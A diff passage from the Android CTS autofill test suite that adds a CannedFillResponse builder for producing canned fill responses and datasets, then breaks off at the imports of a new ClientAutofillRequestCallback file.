+ * present in the {@link AssistStructure}.
+ *
+ * <p>Typical usage:
+ *
+ * <pre class="prettyprint">
+ * InstrumentedAutoFillService.setFillResponse(new CannedFillResponse.Builder()
+ *               .addDataset(new CannedDataset.Builder("dataset_name")
+ *                   .setField("resource_id1", AutofillValue.forText("value1"))
+ *                   .setField("resource_id2", AutofillValue.forText("value2"))
+ *                   .build())
+ *               .build());
+ * </pre class="prettyprint">
+ */
+public final class CannedFillResponse {
+
+    private static final String TAG = CannedFillResponse.class.getSimpleName();
+
+    private final ResponseType mResponseType;
+    private final List<CannedDataset> mDatasets;
+    private final String mFailureMessage;
+    private final int mSaveType;
+    private final String[] mRequiredSavableIds;
+    private final String[] mOptionalSavableIds;
+    private final AutofillId[] mRequiredSavableAutofillIds;
+    private final CharSequence mSaveDescription;
+    private final Bundle mExtras;
+    private final RemoteViews mPresentation;
+    private final InlinePresentation mInlinePresentation;
+    private final RemoteViews mHeader;
+    private final RemoteViews mFooter;
+    private final IntentSender mAuthentication;
+    private final String[] mAuthenticationIds;
+    private final String[] mIgnoredIds;
+    private final int mNegativeActionStyle;
+    private final IntentSender mNegativeActionListener;
+    private final int mPositiveActionStyle;
+    private final int mSaveInfoFlags;
+    private final int mFillResponseFlags;
+    private final AutofillId mSaveTriggerId;
+    private final long mDisableDuration;
+    private final String[] mFieldClassificationIds;
+    private final boolean mFieldClassificationIdsOverflow;
+    private final SaveInfoDecorator mSaveInfoDecorator;
+    private final UserData mUserData;
+    private final DoubleVisitor<List<FillContext>, FillResponse.Builder> mVisitor;
+    private DoubleVisitor<List<FillContext>, SaveInfo.Builder> mSaveInfoVisitor;
+    private final int[] mCancelIds;
+
+    private CannedFillResponse(Builder builder) {
+        mResponseType = builder.mResponseType;
+        mDatasets = builder.mDatasets;
+        mFailureMessage = builder.mFailureMessage;
+        mRequiredSavableIds = builder.mRequiredSavableIds;
+        mRequiredSavableAutofillIds = builder.mRequiredSavableAutofillIds;
+        mOptionalSavableIds = builder.mOptionalSavableIds;
+        mSaveDescription = builder.mSaveDescription;
+        mSaveType = builder.mSaveType;
+        mExtras = builder.mExtras;
+        mPresentation = builder.mPresentation;
+        mInlinePresentation = builder.mInlinePresentation;
+        mHeader = builder.mHeader;
+        mFooter = builder.mFooter;
+        mAuthentication = builder.mAuthentication;
+        mAuthenticationIds = builder.mAuthenticationIds;
+        mIgnoredIds = builder.mIgnoredIds;
+        mNegativeActionStyle = builder.mNegativeActionStyle;
+        mNegativeActionListener = builder.mNegativeActionListener;
+        mPositiveActionStyle = builder.mPositiveActionStyle;
+        mSaveInfoFlags = builder.mSaveInfoFlags;
+        mFillResponseFlags = builder.mFillResponseFlags;
+        mSaveTriggerId = builder.mSaveTriggerId;
+        mDisableDuration = builder.mDisableDuration;
+        mFieldClassificationIds = builder.mFieldClassificationIds;
+        mFieldClassificationIdsOverflow = builder.mFieldClassificationIdsOverflow;
+        mSaveInfoDecorator = builder.mSaveInfoDecorator;
+        mUserData = builder.mUserData;
+        mVisitor = builder.mVisitor;
+        mSaveInfoVisitor = builder.mSaveInfoVisitor;
+        mCancelIds = builder.mCancelIds;
+    }
+
+    /**
+     * Constant used to pass a {@code null} response to the
+     * {@link FillCallback#onSuccess(FillResponse)} method.
+     */
+    public static final CannedFillResponse NO_RESPONSE =
+            new Builder(ResponseType.NULL).build();
+
+    /**
+     * Constant used to fail the test when an expected request was made.
+     */
+    public static final CannedFillResponse NO_MOAR_RESPONSES =
+            new Builder(ResponseType.NO_MORE).build();
+
+    /**
+     * Constant used to emulate a timeout by not calling any method on {@link FillCallback}.
+     */
+    public static final CannedFillResponse DO_NOT_REPLY_RESPONSE =
+            new Builder(ResponseType.TIMEOUT).build();
+
+    /**
+     * Constant used to call {@link FillCallback#onFailure(CharSequence)} method.
+     */
+    public static final CannedFillResponse FAIL =
+            new Builder(ResponseType.FAILURE).build();
+
+    public String getFailureMessage() {
+        return mFailureMessage;
+    }
+
+    public ResponseType getResponseType() {
+        return mResponseType;
+    }
+
+    /**
+     * Creates a new response, replacing the dataset field ids by the real ids from the assist
+     * structure.
+     */
+    public FillResponse asFillResponse(@Nullable List<FillContext> contexts,
+            @NonNull Function<String, ViewNode> nodeResolver) {
+        return asFillResponseWithAutofillId(contexts, (id)-> {
+            ViewNode node = nodeResolver.apply(id);
+            if (node == null) {
+                throw new AssertionError("No node with resource id " + id);
+            }
+            return node.getAutofillId();
+        });
+    }
+
+    /**
+     * Creates a new response, replacing the dataset field ids by the real ids from the assist
+     * structure.
+     */
+    public FillResponse asFillResponseWithAutofillId(@Nullable List<FillContext> contexts,
+            @NonNull Function<String, AutofillId> autofillIdResolver) {
+        final FillResponse.Builder builder = new FillResponse.Builder()
+                .setFlags(mFillResponseFlags);
+        if (mDatasets != null) {
+            for (CannedDataset cannedDataset : mDatasets) {
+                final Dataset dataset =
+                        cannedDataset.asDatasetWithAutofillIdResolver(autofillIdResolver);
+                assertWithMessage("Cannot create dataset").that(dataset).isNotNull();
+                builder.addDataset(dataset);
+            }
+        }
+        final SaveInfo.Builder saveInfoBuilder;
+        if (mRequiredSavableIds != null || mOptionalSavableIds != null
+                || mRequiredSavableAutofillIds != null || mSaveInfoDecorator != null) {
+            if (mRequiredSavableAutofillIds != null) {
+                saveInfoBuilder = new SaveInfo.Builder(mSaveType, mRequiredSavableAutofillIds);
+            } else {
+                saveInfoBuilder = mRequiredSavableIds == null || mRequiredSavableIds.length == 0
+                        ? new SaveInfo.Builder(mSaveType)
+                            : new SaveInfo.Builder(mSaveType,
+                                    getAutofillIds(autofillIdResolver, mRequiredSavableIds));
+            }
+
+            saveInfoBuilder.setFlags(mSaveInfoFlags);
+
+            if (mOptionalSavableIds != null) {
+                saveInfoBuilder.setOptionalIds(
+                        getAutofillIds(autofillIdResolver, mOptionalSavableIds));
+            }
+            if (mSaveDescription != null) {
+                saveInfoBuilder.setDescription(mSaveDescription);
+            }
+            if (mNegativeActionListener != null) {
+                saveInfoBuilder.setNegativeAction(mNegativeActionStyle, mNegativeActionListener);
+            }
+
+            saveInfoBuilder.setPositiveAction(mPositiveActionStyle);
+
+            if (mSaveTriggerId != null) {
+                saveInfoBuilder.setTriggerId(mSaveTriggerId);
+            }
+        } else if (mSaveInfoFlags != 0) {
+            saveInfoBuilder = new SaveInfo.Builder(mSaveType).setFlags(mSaveInfoFlags);
+        } else {
+            saveInfoBuilder = null;
+        }
+        if (saveInfoBuilder != null) {
+            // TODO: merge decorator and visitor
+            if (mSaveInfoDecorator != null) {
+                mSaveInfoDecorator.decorate(saveInfoBuilder, autofillIdResolver);
+            }
+            if (mSaveInfoVisitor != null) {
+                Log.d(TAG, "Visiting saveInfo " + saveInfoBuilder);
+                mSaveInfoVisitor.visit(contexts, saveInfoBuilder);
+            }
+            final SaveInfo saveInfo = saveInfoBuilder.build();
+            Log.d(TAG, "saveInfo:" + saveInfo);
+            builder.setSaveInfo(saveInfo);
+        }
+        if (mIgnoredIds != null) {
+            builder.setIgnoredIds(getAutofillIds(autofillIdResolver, mIgnoredIds));
+        }
+        if (mAuthenticationIds != null) {
+            builder.setAuthentication(getAutofillIds(autofillIdResolver, mAuthenticationIds),
+                    mAuthentication, mPresentation, mInlinePresentation);
+        }
+        if (mDisableDuration > 0) {
+            builder.disableAutofill(mDisableDuration);
+        }
+        if (mFieldClassificationIdsOverflow) {
+            final int length = UserData.getMaxFieldClassificationIdsSize() + 1;
+            final AutofillId[] fieldIds = new AutofillId[length];
+            for (int i = 0; i < length; i++) {
+                fieldIds[i] = new AutofillId(i);
+            }
+            builder.setFieldClassificationIds(fieldIds);
+        } else if (mFieldClassificationIds != null) {
+            builder.setFieldClassificationIds(
+                    getAutofillIds(autofillIdResolver, mFieldClassificationIds));
+        }
+        if (mExtras != null) {
+            builder.setClientState(mExtras);
+        }
+        if (mHeader != null) {
+            builder.setHeader(mHeader);
+        }
+        if (mFooter != null) {
+            builder.setFooter(mFooter);
+        }
+        if (mUserData != null) {
+            builder.setUserData(mUserData);
+        }
+        if (mVisitor != null) {
+            Log.d(TAG, "Visiting " + builder);
+            mVisitor.visit(contexts, builder);
+        }
+        builder.setPresentationCancelIds(mCancelIds);
+
+        final FillResponse response = builder.build();
+        Log.v(TAG, "Response: " + response);
+        return response;
+    }
+
+    @Override
+    public String toString() {
+        return "CannedFillResponse: [type=" + mResponseType
+                + ",datasets=" + mDatasets
+                + ", requiredSavableIds=" + Arrays.toString(mRequiredSavableIds)
+                + ", optionalSavableIds=" + Arrays.toString(mOptionalSavableIds)
+                + ", requiredSavableAutofillIds=" + Arrays.toString(mRequiredSavableAutofillIds)
+                + ", saveInfoFlags=" + mSaveInfoFlags
+                + ", fillResponseFlags=" + mFillResponseFlags
+                + ", failureMessage=" + mFailureMessage
+                + ", saveDescription=" + mSaveDescription
+                + ", hasPresentation=" + (mPresentation != null)
+                + ", hasInlinePresentation=" + (mInlinePresentation != null)
+                + ", hasHeader=" + (mHeader != null)
+                + ", hasFooter=" + (mFooter != null)
+                + ", hasAuthentication=" + (mAuthentication != null)
+                + ", authenticationIds=" + Arrays.toString(mAuthenticationIds)
+                + ", ignoredIds=" + Arrays.toString(mIgnoredIds)
+                + ", saveTriggerId=" + mSaveTriggerId
+                + ", disableDuration=" + mDisableDuration
+                + ", fieldClassificationIds=" + Arrays.toString(mFieldClassificationIds)
+                + ", fieldClassificationIdsOverflow=" + mFieldClassificationIdsOverflow
+                + ", saveInfoDecorator=" + mSaveInfoDecorator
+                + ", userData=" + mUserData
+                + ", visitor=" + mVisitor
+                + ", saveInfoVisitor=" + mSaveInfoVisitor
+                + "]";
+    }
+
+    public enum ResponseType {
+        NORMAL,
+        NULL,
+        NO_MORE,
+        TIMEOUT,
+        FAILURE,
+        DELAY
+    }
+
+    public static final class Builder {
+        private final List<CannedDataset> mDatasets = new ArrayList<>();
+        private final ResponseType mResponseType;
+        private String mFailureMessage;
+        private String[] mRequiredSavableIds;
+        private String[] mOptionalSavableIds;
+        private AutofillId[] mRequiredSavableAutofillIds;
+        private CharSequence mSaveDescription;
+        public int mSaveType = -1;
+        private Bundle mExtras;
+        private RemoteViews mPresentation;
+        private InlinePresentation mInlinePresentation;
+        private RemoteViews mFooter;
+        private RemoteViews mHeader;
+        private IntentSender mAuthentication;
+        private String[] mAuthenticationIds;
+        private String[] mIgnoredIds;
+        private int mNegativeActionStyle;
+        private IntentSender mNegativeActionListener;
+        private int mPositiveActionStyle;
+        private int mSaveInfoFlags;
+        private int mFillResponseFlags;
+        private AutofillId mSaveTriggerId;
+        private long mDisableDuration;
+        private String[] mFieldClassificationIds;
+        private boolean mFieldClassificationIdsOverflow;
+        private SaveInfoDecorator mSaveInfoDecorator;
+        private UserData mUserData;
+        private DoubleVisitor<List<FillContext>, FillResponse.Builder> mVisitor;
+        private DoubleVisitor<List<FillContext>, SaveInfo.Builder> mSaveInfoVisitor;
+        private int[] mCancelIds;
+
+        public Builder(ResponseType type) {
+            mResponseType = type;
+        }
+
+        public Builder() {
+            this(ResponseType.NORMAL);
+        }
+
+        public Builder addDataset(CannedDataset dataset) {
+            assertWithMessage("already set failure").that(mFailureMessage).isNull();
+            mDatasets.add(dataset);
+            return this;
+        }
+
+        /**
+         * Sets the required savable ids based on their {@code resourceId}.
+         */
+        public Builder setRequiredSavableIds(int type, String... ids) {
+            mSaveType = type;
+            mRequiredSavableIds = ids;
+            return this;
+        }
+
+        public Builder setSaveInfoFlags(int flags) {
+            mSaveInfoFlags = flags;
+            return this;
+        }
+
+        public Builder setFillResponseFlags(int flags) {
+            mFillResponseFlags = flags;
+            return this;
+        }
+
+        /**
+         * Sets the optional savable ids based on they {@code resourceId}.
+         */
+        public Builder setOptionalSavableIds(String... ids) {
+            mOptionalSavableIds = ids;
+            return this;
+        }
+
+        /**
+         * Sets the description passed to the {@link SaveInfo}.
+         */
+        public Builder setSaveDescription(CharSequence description) {
+            mSaveDescription = description;
+            return this;
+        }
+
+        /**
+         * Sets the extra passed to {@link
+         * android.service.autofill.FillResponse.Builder#setClientState(Bundle)}.
+         */
+        public Builder setExtras(Bundle data) {
+            mExtras = data;
+            return this;
+        }
+
+        /**
+         * Sets the view to present the response in the UI.
+         */
+        public Builder setPresentation(RemoteViews presentation) {
+            mPresentation = presentation;
+            return this;
+        }
+
+        /**
+         * Sets the view to present the response in the UI.
+         */
+        public Builder setInlinePresentation(InlinePresentation inlinePresentation) {
+            mInlinePresentation = inlinePresentation;
+            return this;
+        }
+
+        /**
+         * Sets views to present the response in the UI by the type.
+         */
+        public Builder setPresentation(String message, boolean inlineMode) {
+            mPresentation = createPresentation(message);
+            if (inlineMode) {
+                mInlinePresentation = createInlinePresentation(message);
+            }
+            return this;
+        }
+
+        /**
+         * Sets the authentication intent.
+         */
+        public Builder setAuthentication(IntentSender authentication, String... ids) {
+            mAuthenticationIds = ids;
+            mAuthentication = authentication;
+            return this;
+        }
+
+        /**
+         * Sets the ignored fields based on resource ids.
+         */
+        public Builder setIgnoreFields(String...ids) {
+            mIgnoredIds = ids;
+            return this;
+        }
+
+        /**
+         * Sets the negative action spec.
+         */
+        public Builder setNegativeAction(int style, IntentSender listener) {
+            mNegativeActionStyle = style;
+            mNegativeActionListener = listener;
+            return this;
+        }
+
+        /**
+         * Sets the positive action spec.
+         */
+        public Builder setPositiveAction(int style) {
+            mPositiveActionStyle = style;
+            return this;
+        }
+
+        public CannedFillResponse build() {
+            return new CannedFillResponse(this);
+        }
+
+        /**
+         * Sets the response to call {@link FillCallback#onFailure(CharSequence)}.
+         */
+        public Builder returnFailure(String message) {
+            assertWithMessage("already added datasets").that(mDatasets).isEmpty();
+            mFailureMessage = message;
+            return this;
+        }
+
+        /**
+         * Sets the view that explicitly triggers save.
+         */
+        public Builder setSaveTriggerId(AutofillId id) {
+            assertWithMessage("already set").that(mSaveTriggerId).isNull();
+            mSaveTriggerId = id;
+            return this;
+        }
+
+        public Builder disableAutofill(long duration) {
+            assertWithMessage("already set").that(mDisableDuration).isEqualTo(0L);
+            mDisableDuration = duration;
+            return this;
+        }
+
+        /**
+         * Sets the ids used for field classification.
+         */
+        public Builder setFieldClassificationIds(String... ids) {
+            assertWithMessage("already set").that(mFieldClassificationIds).isNull();
+            mFieldClassificationIds = ids;
+            return this;
+        }
+
+        /**
+         * Forces the service to throw an exception when setting the fields classification ids.
+         */
+        public Builder setFieldClassificationIdsOverflow() {
+            mFieldClassificationIdsOverflow = true;
+            return this;
+        }
+
+        public Builder setHeader(RemoteViews header) {
+            assertWithMessage("already set").that(mHeader).isNull();
+            mHeader = header;
+            return this;
+        }
+
+        public Builder setFooter(RemoteViews footer) {
+            assertWithMessage("already set").that(mFooter).isNull();
+            mFooter = footer;
+            return this;
+        }
+
+        public Builder setSaveInfoDecorator(SaveInfoDecorator decorator) {
+            assertWithMessage("already set").that(mSaveInfoDecorator).isNull();
+            mSaveInfoDecorator = decorator;
+            return this;
+        }
+
+        /**
+         * Sets the package-specific UserData.
+         *
+         * <p>Overrides the default UserData for field classification.
+         */
+        public Builder setUserData(UserData userData) {
+            assertWithMessage("already set").that(mUserData).isNull();
+            mUserData = userData;
+            return this;
+        }
+
+        /**
+         * Sets a generic visitor for the "real" request and response.
+         *
+         * <p>Typically used in cases where the test need to infer data from the request to build
+         * the response.
+         */
+        public Builder setVisitor(
+                @NonNull DoubleVisitor<List<FillContext>, FillResponse.Builder> visitor) {
+            mVisitor = visitor;
+            return this;
+        }
+
+        /**
+         * Sets a generic visitor for the "real" request and save info.
+         *
+         * <p>Typically used in cases where the test need to infer data from the request to build
+         * the response.
+         */
+        public Builder setSaveInfoVisitor(
+                @NonNull DoubleVisitor<List<FillContext>, SaveInfo.Builder> visitor) {
+            mSaveInfoVisitor = visitor;
+            return this;
+        }
+
+        /**
+         * Sets targets that cancel current session
+         */
+        public Builder setPresentationCancelIds(int[] ids) {
+            mCancelIds = ids;
+            return this;
+        }
+    }
+
+    /**
+     * Helper class used to produce a {@link Dataset} based on expected fields that should be
+     * present in the {@link AssistStructure}.
+     *
+     * <p>Typical usage:
+     *
+     * <pre class="prettyprint">
+     * InstrumentedAutoFillService.setFillResponse(new CannedFillResponse.Builder()
+     *               .addDataset(new CannedDataset.Builder("dataset_name")
+     *                   .setField("resource_id1", AutofillValue.forText("value1"))
+     *                   .setField("resource_id2", AutofillValue.forText("value2"))
+     *                   .build())
+     *               .build());
+     * </pre class="prettyprint">
+     */
+    public static class CannedDataset {
+        private final Map<String, AutofillValue> mFieldValues;
+        private final Map<String, RemoteViews> mFieldPresentations;
+        private final Map<String, InlinePresentation> mFieldInlinePresentations;
+        private final Map<String, InlinePresentation> mFieldInlineTooltipPresentations;
+        private final Map<String, Pair<Boolean, Pattern>> mFieldFilters;
+        private final RemoteViews mPresentation;
+        private final InlinePresentation mInlinePresentation;
+        private final InlinePresentation mInlineTooltipPresentation;
+        private final IntentSender mAuthentication;
+        private final String mId;
+
+        private CannedDataset(Builder builder) {
+            mFieldValues = builder.mFieldValues;
+            mFieldPresentations = builder.mFieldPresentations;
+            mFieldInlinePresentations = builder.mFieldInlinePresentations;
+            mFieldInlineTooltipPresentations = builder.mFieldInlineTooltipPresentations;
+            mFieldFilters = builder.mFieldFilters;
+            mPresentation = builder.mPresentation;
+            mInlinePresentation = builder.mInlinePresentation;
+            mInlineTooltipPresentation = builder.mInlineTooltipPresentation;
+            mAuthentication = builder.mAuthentication;
+            mId = builder.mId;
+        }
+
+        /**
+         * Creates a new dataset, replacing the field ids by the real ids from the assist structure.
+         */
+        public Dataset asDatasetWithNodeResolver(Function<String, ViewNode> nodeResolver) {
+            return asDatasetWithAutofillIdResolver((id) -> {
+                ViewNode node = nodeResolver.apply(id);
+                if (node == null) {
+                    throw new AssertionError("No node with resource id " + id);
+                }
+                return node.getAutofillId();
+            });
+        }
+
+        /**
+         * Creates a new dataset, replacing the field ids by the real ids from the assist structure.
+         */
+        public Dataset asDatasetWithAutofillIdResolver(
+                Function<String, AutofillId> autofillIdResolver) {
+            final Dataset.Builder builder = mPresentation != null
+                    ? new Dataset.Builder(mPresentation)
+                    : new Dataset.Builder();
+            if (mInlinePresentation != null) {
+                if (mInlineTooltipPresentation != null) {
+                    builder.setInlinePresentation(mInlinePresentation, mInlineTooltipPresentation);
+                } else {
+                    builder.setInlinePresentation(mInlinePresentation);
+                }
+            }
+
+            if (mFieldValues != null) {
+                for (Map.Entry<String, AutofillValue> entry : mFieldValues.entrySet()) {
+                    final String id = entry.getKey();
+
+                    final AutofillId autofillId = autofillIdResolver.apply(id);
+                    if (autofillId == null) {
+                        throw new AssertionError("No node with resource id " + id);
+                    }
+                    final AutofillValue value = entry.getValue();
+                    final RemoteViews presentation = mFieldPresentations.get(id);
+                    final InlinePresentation inlinePresentation = mFieldInlinePresentations.get(id);
+                    final InlinePresentation tooltipPresentation =
+                            mFieldInlineTooltipPresentations.get(id);
+                    final Pair<Boolean, Pattern> filter = mFieldFilters.get(id);
+                    if (presentation != null) {
+                        if (filter == null) {
+                            if (inlinePresentation != null) {
+                                if (tooltipPresentation != null) {
+                                    builder.setValue(autofillId, value, presentation,
+                                            inlinePresentation, tooltipPresentation);
+                                } else {
+                                    builder.setValue(autofillId, value, presentation,
+                                            inlinePresentation);
+                                }
+                            } else {
+                                builder.setValue(autofillId, value, presentation);
+                            }
+                        } else {
+                            if (inlinePresentation != null) {
+                                if (tooltipPresentation != null) {
+                                    builder.setValue(autofillId, value, filter.second, presentation,
+                                            inlinePresentation, tooltipPresentation);
+                                } else {
+                                    builder.setValue(autofillId, value, filter.second, presentation,
+                                            inlinePresentation);
+                                }
+                            } else {
+                                builder.setValue(autofillId, value, filter.second, presentation);
+                            }
+                        }
+                    } else {
+                        if (inlinePresentation != null) {
+                            if (tooltipPresentation != null) {
+                                throw new IllegalStateException("presentation can not be null");
+                            } else {
+                                builder.setFieldInlinePresentation(autofillId, value,
+                                        filter != null ? filter.second : null, inlinePresentation);
+                            }
+                        } else {
+                            if (filter == null) {
+                                builder.setValue(autofillId, value);
+                            } else {
+                                builder.setValue(autofillId, value, filter.second);
+                            }
+                        }
+                    }
+                }
+            }
+            builder.setId(mId).setAuthentication(mAuthentication);
+            return builder.build();
+        }
+
+        @Override
+        public String toString() {
+            return "CannedDataset " + mId + " : [hasPresentation=" + (mPresentation != null)
+                    + ", hasInlinePresentation=" + (mInlinePresentation != null)
+                    + ", fieldPresentations=" + (mFieldPresentations)
+                    + ", fieldInlinePresentations=" + (mFieldInlinePresentations)
+                    + ", fieldTooltipInlinePresentations=" + (mFieldInlineTooltipPresentations)
+                    + ", hasAuthentication=" + (mAuthentication != null)
+                    + ", fieldValues=" + mFieldValues
+                    + ", fieldFilters=" + mFieldFilters + "]";
+        }
+
+        public static class Builder {
+            private final Map<String, AutofillValue> mFieldValues = new HashMap<>();
+            private final Map<String, RemoteViews> mFieldPresentations = new HashMap<>();
+            private final Map<String, InlinePresentation> mFieldInlinePresentations =
+                    new HashMap<>();
+            private final Map<String, InlinePresentation> mFieldInlineTooltipPresentations =
+                    new HashMap<>();
+            private final Map<String, Pair<Boolean, Pattern>> mFieldFilters = new HashMap<>();
+
+            private RemoteViews mPresentation;
+            private InlinePresentation mInlinePresentation;
+            private IntentSender mAuthentication;
+            private String mId;
+            private InlinePresentation mInlineTooltipPresentation;
+
+            public Builder() {
+
+            }
+
+            public Builder(RemoteViews presentation) {
+                mPresentation = presentation;
+            }
+
+            /**
+             * Sets the canned value of a text field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
+             */
+            public Builder setField(String id, String text) {
+                return setField(id, AutofillValue.forText(text));
+            }
+
+            /**
+             * Sets the canned value of a text field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
+             */
+            public Builder setField(String id, String text, Pattern filter) {
+                return setField(id, AutofillValue.forText(text), true, filter);
+            }
+
+            public Builder setUnfilterableField(String id, String text) {
+                return setField(id, AutofillValue.forText(text), false, null);
+            }
+
+            /**
+             * Sets the canned value of a list field based on its its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
+             */
+            public Builder setField(String id, int index) {
+                return setField(id, AutofillValue.forList(index));
+            }
+
+            /**
+             * Sets the canned value of a toggle field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
+             */
+            public Builder setField(String id, boolean toggled) {
+                return setField(id, AutofillValue.forToggle(toggled));
+            }
+
+            /**
+             * Sets the canned value of a date field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
+             */
+            public Builder setField(String id, long date) {
+                return setField(id, AutofillValue.forDate(date));
+            }
+
+            /**
+             * Sets the canned value of a date field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
+             */
+            public Builder setField(String id, AutofillValue value) {
+                mFieldValues.put(id, value);
+                return this;
+            }
+
+            /**
+             * Sets the canned value of a date field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
+             */
+            public Builder setField(String id, AutofillValue value, boolean filterable,
+                    Pattern filter) {
+                setField(id, value);
+                mFieldFilters.put(id, new Pair<>(filterable, filter));
+                return this;
+            }
+
+            /**
+             * Sets the canned value of a field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
+             */
+            public Builder setField(String id, String text, RemoteViews presentation) {
+                setField(id, text);
+                mFieldPresentations.put(id, presentation);
+                return this;
+            }
+
+            /**
+             * Sets the canned value of a field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
+             */
+            public Builder setField(String id, String text, RemoteViews presentation,
+                    Pattern filter) {
+                setField(id, text, presentation);
+                mFieldFilters.put(id, new Pair<>(true, filter));
+                return this;
+            }
+
+            /**
+             * Sets the canned value of a field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
+             */
+            public Builder setField(String id, String text, RemoteViews presentation,
+                    InlinePresentation inlinePresentation) {
+                setField(id, text);
+                mFieldPresentations.put(id, presentation);
+                mFieldInlinePresentations.put(id, inlinePresentation);
+                return this;
+            }
+
+            /**
+             * Sets the canned value of a field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
+             */
+            public Builder setField(String id, String text, RemoteViews presentation,
+                    InlinePresentation inlinePresentation,
+                    InlinePresentation inlineTooltipPresentation) {
+                setField(id, text, presentation, inlinePresentation);
+                mFieldInlineTooltipPresentations.put(id, inlineTooltipPresentation);
+                return this;
+            }
+
+            /**
+             * Sets the canned value of a field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
+             */
+            public Builder setField(String id, String text, RemoteViews presentation,
+                    InlinePresentation inlinePresentation, Pattern filter) {
+                setField(id, text, presentation, inlinePresentation);
+                mFieldFilters.put(id, new Pair<>(true, filter));
+                return this;
+            }
+
+            /**
+             * Sets the canned value of a field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
+             */
+            public Builder setField(String id, String text, RemoteViews presentation,
+                    InlinePresentation inlinePresentation,
+                    InlinePresentation inlineTooltipPresentation,
+                    Pattern filter) {
+                setField(id, text, presentation, inlinePresentation, inlineTooltipPresentation);
+                mFieldFilters.put(id, new Pair<>(true, filter));
+
+                return this;
+            }
+
+            /**
+             * Sets the view to present the response in the UI.
+             */
+            public Builder setPresentation(RemoteViews presentation) {
+                mPresentation = presentation;
+                return this;
+            }
+
+            /**
+             * Sets the view to present the response in the UI.
+             */
+            public Builder setInlinePresentation(InlinePresentation inlinePresentation) {
+                mInlinePresentation = inlinePresentation;
+                return this;
+            }
+
+            /**
+             * Sets the inline tooltip to present the response in the UI.
+             */
+            public Builder setInlineTooltipPresentation(InlinePresentation tooltip) {
+                mInlineTooltipPresentation = tooltip;
+                return this;
+            }
+
+            public Builder setPresentation(String message, boolean inlineMode) {
+                mPresentation = createPresentation(message);
+                if (inlineMode) {
+                    mInlinePresentation = createInlinePresentation(message);
+                }
+                return this;
+            }
+
+            /**
+             * Sets the authentication intent.
+             */
+            public Builder setAuthentication(IntentSender authentication) {
+                mAuthentication = authentication;
+                return this;
+            }
+
+            /**
+             * Sets the name.
+             */
+            public Builder setId(String id) {
+                mId = id;
+                return this;
+            }
+
+            /**
+             * Builds the canned dataset.
+             */
+            public CannedDataset build() {
+                return new CannedDataset(this);
+            }
+        }
+    }
+
+    public interface SaveInfoDecorator {
+        void decorate(SaveInfo.Builder builder, Function<String, AutofillId> nodeResolver);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/ClientAutofillRequestCallback.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/ClientAutofillRequestCallback.java
new file mode 100644
index 0000000..b0a28cd
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/ClientAutofillRequestCallback.java
@@ -0,0 +1,349 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.CannedFillResponse.ResponseType.FAILURE;
+import static android.autofillservice.cts.testcore.CannedFillResponse.ResponseType.NULL;
+import static android.autofillservice.cts.testcore.CannedFillResponse.ResponseType.TIMEOUT;
+import static android.autofillservice.cts.testcore.Timeouts.CONNECTION_TIMEOUT;
+import static android.autofillservice.cts.testcore.Timeouts.FILL_TIMEOUT;
+import static android.autofillservice.cts.testcore.Timeouts.RESPONSE_DELAY_MS;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.os.CancellationSignal;
+import android.os.Handler;
+import android.os.SystemClock;
+import android.service.autofill.AutofillService;
+import android.service.autofill.Dataset;
+import android.service.autofill.FillCallback;
+import android.service.autofill.FillContext;
+import android.service.autofill.FillResponse;
+import android.service.autofill.SaveCallback;
+import android.util.Log;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillRequestCallback;
+import android.view.inputmethod.InlineSuggestionsRequest;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
